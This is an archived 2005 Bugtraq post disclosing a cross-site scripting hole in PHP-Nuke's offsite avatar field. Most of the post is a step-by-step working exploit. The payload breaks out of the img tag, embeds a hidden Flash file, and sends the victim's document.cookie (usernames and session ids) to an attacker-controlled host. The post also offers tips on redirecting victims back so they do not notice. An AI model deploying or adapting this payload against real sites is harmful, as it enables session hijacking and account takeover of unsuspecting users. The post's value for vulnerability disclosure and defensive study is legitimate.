PHP nuke XSS vulnerability

fjlj_at_wvi.com
Date: 06/24/05

  • Next message: Trustix Security Advisor: "TSLSA-2005-0030 - multi" 
    Date: 24 Jun 2005 14:47:18 -0000
To: bugtraq@securityfocus.com
    ('binary' encoding is not supported, stored as-is) <strong>phP nuke exploit</strong>

    <b>effects:</b>
    all versions of php nuke

    <b>solution:</b>
    better filtering of offsite avatar selection.

    in the avatar selection of the profile, u have the option of linking to an offsite image. this is the perfect place for an exploit.

    by placing this line of code into the box it will close the current img tag and hide it.

    <b>Code:</b>
    " width=0 height=0>

    after this code we will now call a specially crafted (not really) flash file from my web site.

    <b>Code:</b>
    <embed src=http://yourdomain.com/redirect.swf width=0 height=0>

    this will view the swf and inside the swf is only one frame "an action frame" and the action will redirect your browser to a site on my page +document.cookie and in the cookie will be usernames and session ids. essentially enough to login as whoever it was. that code is

    <b>Code:</b>
    geturl("javascript:location.replace('http://yourdomain.com/cookie.html?'+document.cookie)")

    in cookie.html u might as well put in a redirect to send them back to the home page or something, as long as they dont see your code. ;)

    now our fullcode is

    <b>Code:</b>
    " width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0 height=0>

    now at the end we have to either start another img tag or close it so this is where i put my avatar

    <b>Code:</b>
    <img src=http://yourdomain.com/avatar.bmp

    this code will add my avatar and the default img tag ending will close it.

    our complete exploit code is

    <b>Code:</b>
    " width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0 height=0><img src=http://yourdomain.com/avatar.bmp

    what it will do

    1.)close the main img.
    2.)open your swf.
    3.)redirect them to your site
    4.)log the cookie
    5.)redirect them back
    6.)show an avatar!

    exploit found and written by FJLJ

  • Next message: Trustix Security Advisor: "TSLSA-2005-0030 - multi"

    Relevant Pages

    • PHP-Nuke Avatar Code injection vulnerability
      ... PHP Nuke versionh 6.0 and below ... Allows any user to inject their own HTML or Java code instead of an avatar ... Another Vulnerability Brought to you by, ...
      (Bugtraq)
    • [UNIX] Offensive Code Injection Vulnerability Found In PHP Nuke
      ... A vulnerability in PHP Nuke driven sites allows registered users to inject ... inserted to the database and displayed where the avatar is supposed to be. ... With this value you can use the following HTML code (replace NUKEDSITE ...
      (Securiteam)
    • Re: PHP-Nuke Avatar Code injection vulnerability
      ... First of all i just want to add, that with this vulnerability, it is ... In modules/Your_Account in php nuke, ... PHP-Nuke Avatar Code injection vulnerability ... > Nuke inserts the image name of the selected avatar into the database, ...
      (Bugtraq)